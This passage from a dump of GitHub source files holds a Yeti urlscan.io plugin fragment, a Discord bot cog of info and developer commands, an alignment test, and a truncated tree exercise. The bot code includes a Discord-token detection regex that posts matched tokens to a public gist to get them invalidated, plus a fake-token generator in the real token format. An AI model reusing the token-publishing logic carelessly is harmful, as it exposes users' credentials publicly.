try:\n response = requests.get(\n UrlScanIoApi.API_URL, params=params, proxies=yeti_config.proxy\n )\n if not response.ok:\n raise GenericYetiError(\"Status code: \".format(response.status_code))\n\n if response.json().get(\"total\", 0) > 0:\n return response.json()[\"results\"]\n\n return None\n except Exception as e:\n raise GenericYetiError(\n \"Hit an error checking {},{}\".format(observable.value, e)\n )\n\n\nclass UrlScanIoQuery(OneShotAnalytics, UrlScanIoApi):\n default_values = {\n \"name\": \"UrlScanIo\",\n \"description\": \"Perform a UrlScanIo query.\",\n }\n # 'Url', url search doesn't work right now\n ACTS_ON = [\"Ip\", \"Hostname\", \"Hash\"]\n\n def analyze(self, observable, results):\n links = list()\n json_result = UrlScanIoApi.fetch(observable)\n\n if json_result is not None:\n json_string = json.dumps(\n json_result, sort_keys=True, indent=4, separators=(\",\", \": \")\n )\n results.update(raw=json_string)\n links = UrlScanIoApi._process_data(json_result, observable)\n context = {\"raw\": json_string, \"source\": self.name}\n observable.add_context(context)\n\n return links\n","repo_name":"yeti-platform/yeti","sub_path":"plugins/analytics/public/urlscanio.py","file_name":"urlscanio.py","file_ext":"py","file_size_in_byte":4806,"program_lang":"python","lang":"en","doc_type":"code","stars":1485,"dataset":"github-code","pt":"21"} +{"seq_id":"34041019740","text":"import asyncio\nimport base64\nimport contextlib\nimport functools\nimport io\nimport itertools\nimport os\nimport random\nimport re\nimport secrets\nimport textwrap\nimport typing\nimport unicodedata\nfrom difflib import SequenceMatcher, get_close_matches\n\nimport async_tio\nimport discord\nimport emoji\nimport github\nfrom discord import app_commands\nfrom discord.app_commands import Choice\nfrom discord.ext import commands\nfrom discord.ext.commands.cooldowns import BucketType\nfrom jishaku.codeblocks import codeblock_converter\n\nimport utils\nfrom utils import fuzzy\n\n\nclass Info(commands.Cog):\n \"Gives you Information about data you are allowed to access\"\n\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command(\n help=\"gives you info about a guild\",\n aliases=[\n \"server_info\",\n \"guild_fetch\",\n \"guild_info\",\n \"fetch_guild\",\n \"guildinfo\",\n ],\n )\n async def serverinfo(self, ctx, *, guild: typing.Optional[discord.Guild] = None):\n guild = guild or ctx.guild\n\n if guild is None:\n await ctx.send(\"Could not find the guild you were looking for.\")\n\n if guild:\n embed = discord.Embed(title=f\"{guild}\", color=random.randint(0, 16777215), timestamp=ctx.message.created_at)\n embed.set_thumbnail(url=guild.icon.url if guild.icon else \"https://i.imgur.com/3ZUrjUP.png\")\n\n view = utils.GuildInfoView(ctx, guild)\n\n await ctx.send(\n \"Get More Information for the guild you selected\",\n embed=embed,\n view=view,\n )\n\n @commands.command(\n aliases=[\"user_info\", \"user-info\", \"ui\", \"whois\"],\n brief=\"a command that gives information on users\",\n help=\"this can work with mentions, ids, usernames, and even full names.\",\n )\n async def userinfo(self, ctx, *, user: utils.SuperConverter = commands.Author):\n embed = discord.Embed(title=f\"{user}\", color=random.randint(0, 16777215), timestamp=ctx.message.created_at)\n\n embed.set_image(url=user.display_avatar.url)\n\n view = utils.UserInfoSuper(ctx, user)\n\n await ctx.send(\"Please Note this is being upgraded to a cooler version(it is a bit broken right now)\")\n\n await ctx.send(\n \"Pick a way for Mutual Guilds to be sent to you or not if you really don't the mutualguilds\",\n embed=embed,\n view=view,\n )\n\n @app_commands.command(description=\"Get info about a user\", name=\"userinfo\")\n async def userinfo_slash(\n self, interaction: discord.Interaction, user: typing.Optional[typing.Union[discord.Member, discord.User]] = None\n ):\n user = user or interaction.user\n\n if isinstance(user, discord.Member):\n user = await self.bot.try_member(user.guild, user.id)\n\n ctx = await self.bot.get_context(interaction)\n\n embed = discord.Embed(title=f\"{user}\", color=random.randint(0, 16777215), timestamp=ctx.message.created_at)\n\n embed.set_image(url=user.display_avatar.url)\n\n view = utils.UserInfoSuper(ctx, user)\n\n await ctx.send(\n \"Pick a way for Mutual Guilds to be sent to you or not if you really don't the mutualguilds\",\n embed=embed,\n view=view,\n )\n\n @commands.command(brief=\"uploads your emojis into a Senarc Bin link\")\n async def look_at(self, ctx):\n if isinstance(ctx.message.channel, discord.TextChannel):\n message_emojis = \"\"\n for x in ctx.guild.emojis:\n message_emojis = message_emojis + \" \" + str(x) + \"\\n\"\n\n paste = await utils.post(self.bot, message_emojis)\n await ctx.send(paste)\n\n if isinstance(ctx.channel, discord.DMChannel):\n await ctx.send(\"We can't use that in DMS as it takes emoji regex and puts it into a paste.\")\n\n @commands.command(help=\"gives the id of the current guild or DM if you are in one.\")\n async def guild_get(self, ctx):\n if isinstance(ctx.channel, discord.TextChannel):\n await ctx.send(content=ctx.guild.id)\n\n if isinstance(ctx.channel, discord.DMChannel):\n await ctx.send(ctx.channel.id)\n\n @commands.command(brief=\"a command to tell you the channel id\", aliases=[\"GetChannelId\"])\n async def this(self, ctx):\n await ctx.send(ctx.channel.id)\n\n @commands.command(brief=\"Gives you mention info don't abuse(doesn't mention tho)\")\n async def mention(self, ctx, *, user: utils.SuperConverter = commands.Author):\n await ctx.send(\n f\"Discord Mention: {user.mention} \\nRaw Mention: {discord.utils.escape_mentions(user.mention)}\",\n allowed_mentions=discord.AllowedMentions.none(),\n )\n\n @commands.cooldown(1, 30, BucketType.user)\n @commands.command(help=\"fetch invite details\")\n async def fetch_invite(self, ctx, *invites: typing.Union[discord.Invite, str]):\n if invites:\n menu = utils.InviteInfoEmbed(invites, ctx=ctx, delete_after=True)\n await menu.send()\n if not invites:\n await ctx.send(\"Please get actual invites to attempt grab\")\n ctx.command.reset_cooldown(ctx)\n\n if len(invites) > 50:\n await ctx.send(\n \"Reporting using more than 50 invites in this command. This is to prevent ratelimits with the api.\"\n )\n\n jdjg = await self.bot.try_user(168422909482762240)\n await self.bot.support_webhook.send(\n f\"{jdjg.mention}.\\n{ctx.author} causes a ratelimit issue with {len(invites)} invites\"\n )\n\n @commands.command(brief=\"gives info about a file\")\n async def file(self, ctx):\n if not ctx.message.attachments:\n await ctx.send(ctx.message.attachments)\n await ctx.send(\"no file submitted\")\n\n if ctx.message.attachments:\n embed = discord.Embed(title=\"Attachment info\", color=random.randint(0, 16777215))\n for a in ctx.message.attachments:\n embed.add_field(name=f\"ID: {a.id}\", value=f\"[{a.filename}]({a.url})\")\n embed.set_footer(text=\"Check on the url/urls to get a direct download to the url.\")\n await ctx.send(embed=embed, content=\"\\nThat's good\")\n\n @commands.command(\n brief=\"a command to get the avatar of a user\",\n help=\"using the userinfo technology it now powers avatar grabbing.\",\n aliases=[\"pfp\", \"av\"],\n )\n async def avatar(self, ctx, *, user: utils.SuperConverter = commands.Author):\n embed = discord.Embed(color=random.randint(0, 16777215))\n embed.set_author(name=f\"{user.name}'s avatar:\", icon_url=user.display_avatar.url)\n\n embed.set_image(url=user.display_avatar.url)\n embed.set_footer(text=f\"Requested by {ctx.author}\")\n await ctx.send(embed=embed)\n\n @commands.command(brief=\"this is a way to get the nearest channel.\")\n async def find_channel(self, ctx, *, args=None):\n if args is None:\n await ctx.send(\"Please specify a channel\")\n\n if args:\n if isinstance(ctx.channel, discord.TextChannel):\n channel = discord.utils.get(ctx.guild.channels, name=args)\n if channel:\n await ctx.send(channel.mention)\n if channel is None:\n await ctx.send(\"Unforantely we haven't found anything\")\n\n if isinstance(ctx.channel, discord.DMChannel):\n await ctx.send(\"You can't use it in a DM.\")\n\n @commands.command(brief=\"a command to get the closest user.\")\n async def closest_user(self, ctx, *, args=None):\n if args is None:\n return await ctx.send(\"please specify a user\")\n\n if args and not self.bot.users:\n return await ctx.send(\"There are no users cached :(\")\n\n if args:\n userNearest = discord.utils.get(self.bot.users, name=args)\n user_nick = discord.utils.get(self.bot.users, display_name=args)\n\n if userNearest is None:\n userNearest = sorted(self.bot.users, key=lambda x: SequenceMatcher(None, x.name, args).ratio())[-1]\n\n if user_nick is None:\n user_nick = sorted(self.bot.users, key=lambda x: SequenceMatcher(None, x.display_name, args).ratio())[\n -1\n ]\n\n if isinstance(ctx.channel, discord.TextChannel):\n member_list = [x for x in ctx.guild.members if x.nick]\n\n nearest_server_nick = sorted(member_list, key=lambda x: SequenceMatcher(None, x.nick, args).ratio())[-1]\n\n if isinstance(ctx.channel, discord.DMChannel):\n nearest_server_nick = \"You unfortunately don't get the last value(a nickname) as it's a DM.\"\n\n await ctx.send(f\"Username : {userNearest} \\nDisplay name : {user_nick} \\nNickname: {nearest_server_nick}\")\n\n @commands.command(help=\"gives info on default emoji and custom emojis\", name=\"emoji\")\n async def emoji_info(\n self,\n ctx: commands.Context,\n *,\n emojis: typing.Annotated[utils.EmojiConverter.ConvertedEmojis, utils.EmojiConverter],\n ):\n print(emojis, emojis.all, emojis.valid_emojis, emojis.invalid_emojis)\n menu = utils.EmojiInfoEmbed(emojis.all, ctx=ctx, delete_after=True) # type: ignore\n await menu.send()\n\n @commands.command(brief=\"gives info on emoji_id and emoji image.\")\n async def emoji_id(\n self,\n ctx,\n *,\n emoji: typing.Optional[typing.Union[discord.PartialEmoji, discord.Message, utils.EmojiBasic]] = None,\n ):\n if isinstance(emoji, discord.Message):\n emoji_message = emoji.content\n emoji = None\n\n with contextlib.suppress(commands.CommandError, commands.BadArgument):\n emoji = await utils.EmojiBasic.convert(\n ctx, emoji_message\n ) or await commands.PartialEmojiConverter().convert(ctx, emoji_message)\n\n if emoji:\n embed = discord.Embed(description=f\" Emoji ID: {emoji.id}\", color=random.randint(0, 16777215))\n embed.set_image(url=emoji.url)\n await ctx.send(embed=embed)\n\n else:\n await ctx.send(\"Not a valid emoji id.\")\n\n @commands.command()\n async def fetch_content(self, ctx, *, args=None):\n if args is None:\n await ctx.send(\"please send actual text\")\n\n if args:\n args = discord.utils.escape_mentions(args)\n args = discord.utils.escape_markdown(args, as_needed=False, ignore_links=False)\n\n for x in ctx.message.mentions:\n args = args.replace(x.mention, f\"\\{x.mention}\")\n\n emojis = emoji.emoji_lis(args)\n emojis_return = [d[\"emoji\"] for d in emojis]\n\n for x in emojis_return:\n args = args.replace(x, f\"\\{x}\")\n\n for x in re.findall(r\":\\w*:\\d*\", args):\n args = args.replace(x, f\"\\{x}\")\n\n await ctx.send(f\"{args}\", allowed_mentions=discord.AllowedMentions.none())\n\n @commands.command(brief=\"gives info about a role.\", aliases=[\"roleinfo\"])\n async def role_info(self, ctx, *, role: typing.Optional[discord.Role] = None):\n if role:\n await utils.roleinfo(ctx, role)\n # backend and how it works will be updated soon\n\n if not role:\n await ctx.send(f\"The role you wanted was not found.\")\n\n\nclass DevTools(commands.Cog):\n \"Helpful commands for developers in general\"\n\n def __init__(self, bot):\n self.bot = bot\n\n self.TOKEN_RE = re.compile(r\"[a-zA-Z0-9_-]{23,28}\\.[a-zA-Z0-9_-]{6,7}\\.[a-zA-Z0-9_-]{26}\\w{1}\")\n\n self.pool = self.bot.db\n\n async def cog_load(self):\n github_token = os.environ.get(\"github_token\")\n self.github = await github.GHClient(username=\"JDJGBot\", token=github_token)\n self.rtfm_dictionary = sorted(await self.bot.db.fetch(\"SELECT * FROM RTFM_DICTIONARY\"))\n self.tio = async_tio.Tio(session=self.bot.session)\n\n async def cog_unload(self):\n await self.github.close()\n\n @commands.Cog.listener()\n async def on_message(self, message):\n if not message.guild or message.guild.id != 1019027330779332660:\n return\n\n match = self.TOKEN_RE.findall(message.content)\n if match:\n gist = await self.github.create_gist(\n files=[github.File(fp=\"\\n\".join([m for m in match]), filename=\"token.txt\")],\n description=\"Token Detected, invalidated in process\",\n public=True,\n )\n\n await message.channel.send(\n f\"{message.author.mention} Token detected, invalidated in process.\\nGist: <{gist.url}>\"\n )\n\n @commands.command(brief=\"Tells bot if it should invalidate token.\")\n async def token_snipper(self, ctx):\n embed = discord.Embed(\n title=\"Token Snipper Tool\",\n description=\"It tells the bot if it should invalidate any discord tokens sent into chat\",\n color=random.randint(0, 16777215),\n timestamp=ctx.message.created_at,\n )\n embed.set_author(name=f\"{ctx.author}\", icon_url=ctx.author.display_avatar.url)\n embed.set_image(url=\"https://i.imgur.com/WPExfNr.gif\")\n embed.set_footer(text=\"This snipper snipes tokens she sees in chat.\")\n\n view = utils.TokenInvalidatorSettings(ctx)\n await ctx.send(\"Please pick the buttons below to pick.\", embed=embed, view=view)\n\n async def rtfm_lookup(self, url=None, *, args=None):\n if not args:\n return url\n\n else:\n unfiltered_results = await utils.rtfm(self.bot, url)\n\n results = fuzzy.finder(args, unfiltered_results, key=lambda t: t[0])\n\n if not results:\n return f\"Could not find anything with {args}.\"\n\n else:\n return results\n\n async def rtfm_send(self, ctx, results):\n if isinstance(results, str):\n await ctx.send(results, allowed_mentions=discord.AllowedMentions.none())\n\n else:\n embed = discord.Embed(color=random.randint(0, 16777215))\n\n results = results[:10]\n\n embed.description = \"\\n\".join(f\"[`{result}`]({result.url})\" for result in results)\n\n reference = utils.reference(ctx.message)\n await ctx.send(embed=embed, reference=reference)\n\n @commands.command(\n aliases=[\"rtd\", \"rtfs\", \"rtdm\"],\n invoke_without_command=True,\n brief=\"a rtfm command that allows you to lookup at any library we support looking up(using selects)\",\n )\n async def rtfm(self, ctx, *, args=None):\n view = utils.RtfmChoice(ctx, self.rtfm_dictionary, timeout=15.0)\n\n await ctx.send(content=\"Please Pick a library you want to parse\", view=view)\n\n await view.wait()\n\n await ctx.typing()\n\n results = await self.rtfm_lookup(url=view.value, args=args)\n\n await self.rtfm_send(ctx, results)\n\n @app_commands.command(description=\"looks up docs\", name=\"rtfm\")\n async def rtfm_slash(\n self, interaction: discord.Interaction, library: str, query: typing.Optional[str] = None\n ) -> None:\n \"\"\"Looks up docs for a library with optionally a query.\"\"\"\n if query is None or query == \"No Results Found\":\n return await interaction.response.send_message(f\"Alright Let's see \\n{library}\")\n\n await interaction.response.send_message(f\"Alright Let's see \\n{library+query}\")\n\n @rtfm_slash.autocomplete(\"library\")\n async def rtfm_library_autocomplete(self, interaction: discord.Interaction, current: str) -> list[Choice]:\n libraries = dict(self.rtfm_dictionary)\n\n all_choices: list[Choice] = [Choice(name=name, value=link) for name, link in libraries.items()]\n startswith: list[Choice] = [choices for choices in all_choices if choices.name.startswith(current)]\n if not (current and startswith):\n return all_choices[0:25]\n\n return startswith\n\n @rtfm_slash.autocomplete(\"query\")\n async def rtfm_query_autocomplete(self, interaction: discord.Interaction, current: str) -> list[Choice]:\n url = interaction.namespace.library or list(dict(self.rtfm_dictionary).values())[0]\n unfiltered_results = await utils.rtfm(self.bot, url)\n\n all_choices = [Choice(name=result.name, value=result.url.replace(url, \"\")) for result in unfiltered_results]\n\n if not current:\n return all_choices[:25]\n\n filtered_results = fuzzy.finder(current, unfiltered_results, key=lambda t: t[0])\n\n results = [Choice(name=result.name, value=result.url.replace(url, \"\")) for result in filtered_results]\n\n return results[0:25]\n\n @rtfm_slash.error\n async def rtfm_error(self, interaction: discord.Interaction, error) -> None:\n await interaction.response.send_message(f\"{error}! Please Send to this to my developer\", ephemeral=True)\n print(error)\n print(interaction.command)\n\n def charinfo_converter(self, string):\n digit = f\"{ord(string):x}\"\n name = unicodedata.name(string, \"The unicode was not found\")\n return f\"`\\\\U{digit:>08}`: {name} - {string} \\N{EM DASH} \"\n\n @commands.command(brief=\"Gives you data about charinfo (based on R.danny's command)\")\n async def charinfo(self, ctx, *, args=None):\n if not args:\n return await ctx.send(\"That doesn't help out all :(\")\n\n values = \"\\n\".join(map(self.charinfo_converter, set(args)))\n\n content = textwrap.wrap(values, width=2000)\n\n menu = utils.charinfoMenu(content, ctx=ctx, delete_after=True)\n\n await menu.send()\n\n @commands.command(brief=\"a command to view the rtfm DB\")\n async def rtfm_view(self, ctx):\n rtfm_dictionary = dict(self.rtfm_dictionary)\n\n pag = commands.Paginator(prefix=\"\", suffix=\"\")\n for g in rtfm_dictionary:\n pag.add_line(f\"{g} : {rtfm_dictionary.get(g)}\")\n\n menu = utils.RtfmEmbed(pag.pages, ctx=ctx, delete_after=True)\n await menu.send()\n\n @commands.command(brief=\"a command to autoformat your python code to pep8\")\n async def pep8(self, ctx):\n modal = utils.CodeBlockView(ctx, timeout=180.0)\n message = await ctx.send(\n \"Please Submit the Code Block\\nDo you want to use black's line formatter at 120 (i.e. black - l120 .), or just use the default? (i.e black .):\",\n view=modal,\n )\n await modal.wait()\n\n if not modal.value:\n return await ctx.reply(\"You need to give it code to work with it.\", mention_author=False)\n\n code = codeblock_converter(argument=f\"{modal.value}\")\n\n if modal.value2 is None or modal.value2 is False:\n await message.edit(content=\"Default it is.\", view=None)\n\n if modal.value2 is True:\n await message.edit(content=\"Speacil Formatting at 120 lines it is.\")\n\n try:\n code = await asyncio.to_thread(utils.formatter, code.content, bool(modal.value2))\n\n except Exception as e:\n return await message.edit(content=f\"Error Ocurred with {e}\")\n\n embed = discord.Embed(\n title=\"Reformatted with Black\",\n description=f\"code returned: \\n```python\\n{code}```\",\n color=random.randint(0, 16777215),\n )\n embed.set_footer(text=\"Make sure you use python code, otherwise it will not work properly.\")\n await message.edit(embed=embed)\n\n @commands.command(brief=\"grabs your pfp's image\")\n async def pfp_grab(self, ctx):\n if_animated = ctx.author.display_avatar.is_animated()\n\n save_type = \".gif\" if if_animated else \".png\"\n\n file = await ctx.author.display_avatar.to_file(filename=f\"pfp{save_type}\")\n try:\n await ctx.send(content=\"here's your avatar:\", file=file)\n\n except:\n await ctx.send(\"it looks like it couldn't send the pfp due to the file size.\")\n\n @commands.command(brief=\"Gives info on pypi packages\")\n async def pypi(self, ctx, *, args=None):\n # https://pypi.org/simple/\n\n if args:\n pypi_response = await self.bot.session.get(f\"https://pypi.org/pypi/{args}/json\")\n if pypi_response.ok:\n pypi_response = await pypi_response.json()\n\n pypi_data = pypi_response[\"info\"]\n\n embed = discord.Embed(\n title=f\"{pypi_data.get('name') or 'None provided'} {pypi_data.get('version') or 'None provided'}\",\n url=f\"{pypi_data.get('release_url') or 'None provided'}\",\n description=f\"{pypi_data.get('summary') or 'None provided'}\",\n color=random.randint(0, 16777215),\n )\n\n embed.set_thumbnail(url=\"https://i.imgur.com/oP0e7jK.png\")\n\n embed.add_field(\n name=\"**Author Info**\",\n value=f\"**Author Name:** {pypi_data.get('author') or 'None provided'}\\n**Author Email:** {pypi_data.get('author_email') or 'None provided'}\",\n inline=False,\n )\n embed.add_field(\n name=\"**Package Info**\",\n value=f\"**Download URL**: {pypi_data.get('download_url') or 'None provided'}\\n**Documentation URL:** {pypi_data.get('docs_url') or 'None provided'}\\n**Home Page:** {pypi_data.get('home_page') or 'None provided'}\\n**Keywords:** {pypi_data.get('keywords') or 'None provided'}\\n**License:** {pypi_data.get('license') or 'None provided'}\",\n inline=False,\n )\n\n await ctx.send(embed=embed)\n\n else:\n await ctx.send(\n f\"Could not find package **{args}** on pypi.\", allowed_mentions=discord.AllowedMentions.none()\n )\n\n else:\n await ctx.send(\"Please look for a library to get the info of.\")\n\n @commands.command(brief=\"make a quick bot invite with 0 perms\")\n async def invite_bot(self, ctx, *, user: typing.Optional[discord.User] = commands.Author):\n if not user.bot:\n return await ctx.send(\"That's not a legit bot\")\n\n invite = discord.utils.oauth_url(client_id=user.id, scopes=(\"bot\",))\n slash_invite = discord.utils.oauth_url(client_id=user.id)\n\n view = discord.ui.View()\n view.add_item(\n discord.ui.Button(label=f\"{user.name}'s Normal Invite\", url=invite, style=discord.ButtonStyle.link)\n )\n view.add_item(\n discord.ui.Button(\n label=f\"{user.name}'s Invite With Slash Commands\", url=slash_invite, style=discord.ButtonStyle.link\n )\n )\n\n await ctx.send(f\"Invite with slash commands and the bot scope or only with a bot scope:\", view=view)\n\n @commands.command(brief=\"some old fooz command..\")\n async def fooz(self, ctx, *, args=None):\n if not args:\n await ctx.send(\"success\")\n\n if args:\n await ctx.send(\"didn't use it properly :(\")\n\n @commands.command(brief=\"puts the message time as a timestamp\")\n async def message_time(self, ctx):\n embed = discord.Embed(title=\"Message Time\", color=random.randint(0, 16777215), timestamp=ctx.message.created_at)\n embed.set_footer(text=f\"{ctx.message.id}\")\n\n await ctx.send(content=f\"Only here cause JDJG Bot has it and why not have it here now.\", embed=embed)\n\n @commands.command(brief=\"converts info about colors for you.\", invoke_without_command=True)\n async def color(self, ctx, *, color: utils.ColorConverter = None):\n if not color:\n return await ctx.send(\"you need to give me a color to use.\")\n\n await ctx.send(f\"Hexadecimal: {color} \\nValue : {color.value} \\nRGB: {color.to_rgb()}\")\n\n @commands.command(brief=\"a command that tells a user creation time.\")\n async def created_at(self, ctx, *, user: utils.SuperConverter = commands.Author):\n creation_info = f\"{discord.utils.format_dt(user.created_at, style = 'd')}\\n{discord.utils.format_dt(user.created_at, style = 'T')}\"\n\n await ctx.send(\n f\"\\nName : {user}\\nMention : {user.mention} was created:\\n{creation_info}\\nRaw Version: ```{creation_info}```\",\n allowed_mentions=discord.AllowedMentions.none(),\n )\n\n @commands.command(brief=\"a command that makes a fake user id based on the current time.\")\n async def fake_user_id(self, ctx):\n await ctx.send(f\"User id: {utils.generate_snowflake()}\")\n\n @commands.command(brief=\"gives information on snowflakes\")\n async def snowflake_info(self, ctx, *, snowflake: typing.Optional[utils.ObjectPlus] = None):\n if not snowflake:\n await ctx.send(\n \"you either returned nothing or an invalid snowflake now going to the current time for information.\"\n )\n\n # change objectplus convert back to the before(discord.Object), same thing with utls.ObjectPlus, if edpy adds my pull request into the master.\n\n generated_time = await utils.ObjectPlusConverter().convert(ctx, argument=f\"{int(utils.generate_snowflake())}\")\n\n snowflake = snowflake or generated_time\n\n embed = discord.Embed(title=\"❄️ SnowFlake Info:\", color=5793266)\n\n embed.add_field(\n name=\"Created At:\",\n value=f\"{discord.utils.format_dt(snowflake.created_at, style = 'd')}\\n{discord.utils.format_dt(snowflake.created_at, style = 'T')}\",\n )\n\n embed.add_field(name=\"Worker ID:\", value=f\"{snowflake.worker_id}\")\n\n embed.add_field(name=\"Process ID:\", value=f\"{snowflake.process_id}\")\n\n embed.add_field(name=\"Increment:\", value=f\"{snowflake.increment_id}\")\n\n embed.set_footer(text=f\"Snowflake ID: {snowflake.id}\")\n\n await ctx.send(embed=embed)\n\n @commands.command(brief=\"Generates a fake token from the current time\")\n async def fake_token(self, ctx):\n object = discord.Object(utils.generate_snowflake())\n\n first_encoded = base64.b64encode(f\"{object.id}\".encode())\n first_bit = first_encoded.decode().rstrip(\"=\")\n\n timestamp = int(object.created_at.timestamp() - 129384000)\n d = timestamp.to_bytes(4, \"big\")\n second_bit_encoded = base64.standard_b64encode(d)\n second_bit = second_bit_encoded.decode().rstrip(\"=\")\n\n last_bit = secrets.token_urlsafe(20)\n\n embed = discord.Embed(\n title=f\"Newly Generated Fake Token\",\n description=f\"ID: ``{object.id}``\\nCreated at : \\n{discord.utils.format_dt(object.created_at, style = 'd')}\\n{discord.utils.format_dt(object.created_at, style = 'T')}\",\n )\n embed.add_field(name=\"Generated Token:\", value=f\"``{first_bit}.{second_bit}.{last_bit}``\")\n embed.set_thumbnail(url=ctx.author.display_avatar.url)\n embed.set_footer(text=f\"Requested by {ctx.author}\")\n\n await ctx.send(\"We generated a fake token :clap::\", embed=embed)\n\n @commands.cooldown(1, 60, BucketType.user)\n @commands.command(brief=\"makes a request to add a bot to the test guild\")\n async def addbot(self, ctx, *, user: typing.Optional[discord.User] = commands.Author):\n if not user.bot:\n ctx.command.reset_cooldown(ctx)\n return await ctx.send(\"Please Use A **Bot** ID, not a **User** ID.\")\n\n modal = utils.AddBotView(ctx, timeout=180.0)\n message = await ctx.send(\"Please Tell us the reason you want to add your bot to the Test Guild:\", view=modal)\n await modal.wait()\n\n if modal.value is None:\n ctx.command.reset_cooldown(ctx)\n return await message.edit(content=\"Provide a reason why you want your bot added to your guild\")\n\n guild = self.bot.get_guild(438848185008390158)\n member = await self.bot.try_member(guild, ctx.author.id)\n if member is None:\n view = discord.ui.View()\n view.add_item(\n discord.ui.Button(\n label=f\"Test Guild Invite\",\n url=\"https://discord.gg/hKn8qgCDzK\",\n style=discord.ButtonStyle.link,\n row=1,\n )\n )\n return await message.edit(\n content=\"Make sure to join the guild linked soon... then rerun the command. If you are in the guild contact the owner(the owner is listed in the owner command)\",\n view=view,\n )\n\n embed = discord.Embed(\n title=\"Bot Request\",\n colour=discord.Colour.blurple(),\n description=f\"reason: \\n{modal.value}\\n\\n[Invite URL]({discord.utils.oauth_url(client_id = user.id, scopes=('bot',))})\",\n timestamp=ctx.message.created_at,\n )\n\n embed.add_field(name=\"Author\", value=f\"{ctx.author} (ID: {ctx.author.id})\", inline=False)\n embed.add_field(name=\"Bot\", value=f\"{user} (ID: {user.id})\", inline=False)\n\n embed.set_footer(text=ctx.author.id)\n embed.set_author(name=user.id, icon_url=user.display_avatar.with_format(\"png\"))\n\n jdjg = self.bot.get_user(168422909482762240)\n benitz = self.bot.get_user(529499034495483926)\n\n await self.bot.get_channel(852897595869233182).send(content=f\"{jdjg.mention} {benitz.mention}\", embed=embed)\n # placeholder\n\n await ctx.reply(\n f\"It appears adding your bot worked. \\nIf you leave your bot will be kicked, unless you have an alt there, a friend, etc. \\n(It will be kicked to prevent raiding and taking up guild space if you leave). \\nYour bot will be checked out. {jdjg} will then determine if your bot is good to add to the guild. Make sure to open your Dms to JDJG, so he can dm you about the bot being added. \\nIf you don't add him, your bot will be denied.\"\n )\n\n @commands.command(\n brief=\"a command that takes a url and sees if it's an image (requires embed permissions at the moment).\"\n )\n async def image_check(self, ctx):\n await ctx.send(\n \"Please wait for discord to edit your message, if it does error about not a valid image, please send a screenshot of your usage and the bot's message.\"\n )\n await asyncio.sleep(5)\n\n images = list(filter(lambda e: e.type == \"image\", ctx.message.embeds))\n\n if not images or not ctx.message.embeds:\n return await ctx.send(\n \"you need to pass a url with an image, if you did, then please run again. This is a discord issue, and I do not want to wait for discord to change its message.\"\n )\n\n await ctx.send(f\"You have {len(images)} / {len(ctx.message.embeds)} links that are valid images.\")\n\n @commands.command(brief=\"Gives info on npm packages\")\n async def npm(self, ctx, *, args=None):\n if args:\n npm_response = await self.bot.session.get(f\"https://registry.npmjs.com/{args}\")\n\n if npm_response.ok:\n npm_response = await npm_response.json()\n\n data = utils.get_required_npm(npm_response)\n await ctx.send(embed=utils.npm_create_embed(data))\n\n else:\n await ctx.send(\n f\"Could not find package **{args}** on npm.\", allowed_mentions=discord.AllowedMentions.none()\n )\n\n else:\n await ctx.send(\"Please look for a library to get the info of.\")\n\n @commands.cooldown(1, 30, BucketType.user)\n @commands.command(\n brief=\"runs some code in a sandbox(based on Soos's Run command)\", aliases=[\"eval\", \"run\", \"sandbox\"]\n )\n async def console(self, ctx, *, code: codeblock_converter = None):\n if not code:\n ctx.command.reset_cooldown(ctx)\n return await ctx.send(\"You need to give me some code to use, otherwise I can not determine what it is.\")\n\n if not code.language:\n ctx.command.reset_cooldown(ctx)\n return await ctx.send(\"You Must provide a language to use\")\n\n if not code.content:\n ctx.command.reset_cooldown(ctx)\n return await ctx.send(\"No code provided\")\n\n output = await self.tio.execute(f\"{code.content}\", language=f\"{code.language}\")\n\n text_returned = (\n f\"```{code.language}\\n{output}```\"\n if len(f\"{output}\") < 200\n else await utils.post(self.bot, code=f\"{output}\")\n )\n\n embed = discord.Embed(\n title=f\"Your code exited with code {output.exit_status}\", description=f\"{text_returned}\", color=242424\n )\n\n embed.set_author(name=f\"{ctx.author}\", icon_url=ctx.author.display_avatar.url)\n\n embed.set_footer(text=\"Powered by Tio.run\")\n\n await ctx.send(content=\"I executed your code in a sandbox\", embed=embed)\n\n\nasync def setup(bot):\n await bot.add_cog(Info(bot))\n await bot.add_cog(DevTools(bot))\n","repo_name":"JDsProjects/JDBot","sub_path":"cogs/info.py","file_name":"info.py","file_ext":"py","file_size_in_byte":32811,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"21"} +{"seq_id":"8519868010","text":"import os\nfrom pathlib import Path\nimport numpy as np\nfrom dtaidistance import alignment\n\n\ndirectory = None\n\n\ndef test_sequences1():\n \"\"\"Example from https://en.wikipedia.org/wiki/Needleman–Wunsch_algorithm. \"\"\"\n s1 = \"GATTACA\"\n s2 = \"GCATGCU\"\n value, matrix = alignment.needleman_wunsch(s1, s2)\n algn, s1a1, s2a1 = alignment.best_alignment(matrix, s1, s2, gap='-')\n matrix_sol = [\n [-0., -1., -2., -3., -4., -5., -6., -7.],\n [-1., 1., -0., -1., -2., -3., -4., -5.],\n [-2., -0., -0., 1., -0., -1., -2., -3.],\n [-3., -1., -1., -0., 2., 1., -0., -1.],\n [-4., -2., -2., -1., 1., 1., -0., -1.],\n [-5., -3., -3., -1., -0., -0., -0., -1.],\n [-6., -4., -2., -2., -1., -1., 1., -0.],\n [-7., -5., -3., -1., -2., -2., -0., -0.]]\n algn_sol1 = [['G', '-', 'A', 'T', 'T', 'A', 'C', 'A'], ['G', 'C', 'A', 'T', '-', 'G', 'C', 'U']]\n assert value == 0.0\n assert np.array_equal(matrix, matrix_sol)\n assert s1a1 == algn_sol1[0]\n assert s2a1 == algn_sol1[1]\n\n\nif __name__ == \"__main__\":\n directory = Path(os.environ.get('TESTDIR', Path(__file__).parent))\n print(f\"Saving files to {directory}\")\n test_sequences1()\n","repo_name":"voskresenskiianton/time-series-clustering","sub_path":"dtaidistance-master/tests/test_alignment.py","file_name":"test_alignment.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"70370081653","text":"from binarytree import *\r\np=Node(3)\r\np.left=Node(9)\r\np.right=Node(20)\r\np.right.left=Node(15)\r\np.right.right=Node(7)\r\n# p.right.left=Node(4)\r\nprint(p)\r\n# Definition for a binary tree node.\r\nclass TreeNode:\r\n def __init__(self, val=0, left=None, right=None):\r\n self.val = val\r\n self.left = left\r\n self.right = right\r\nclass Solution:\r\n def zigzagLevelOrder(self, root: TreeNode) :\r\n if 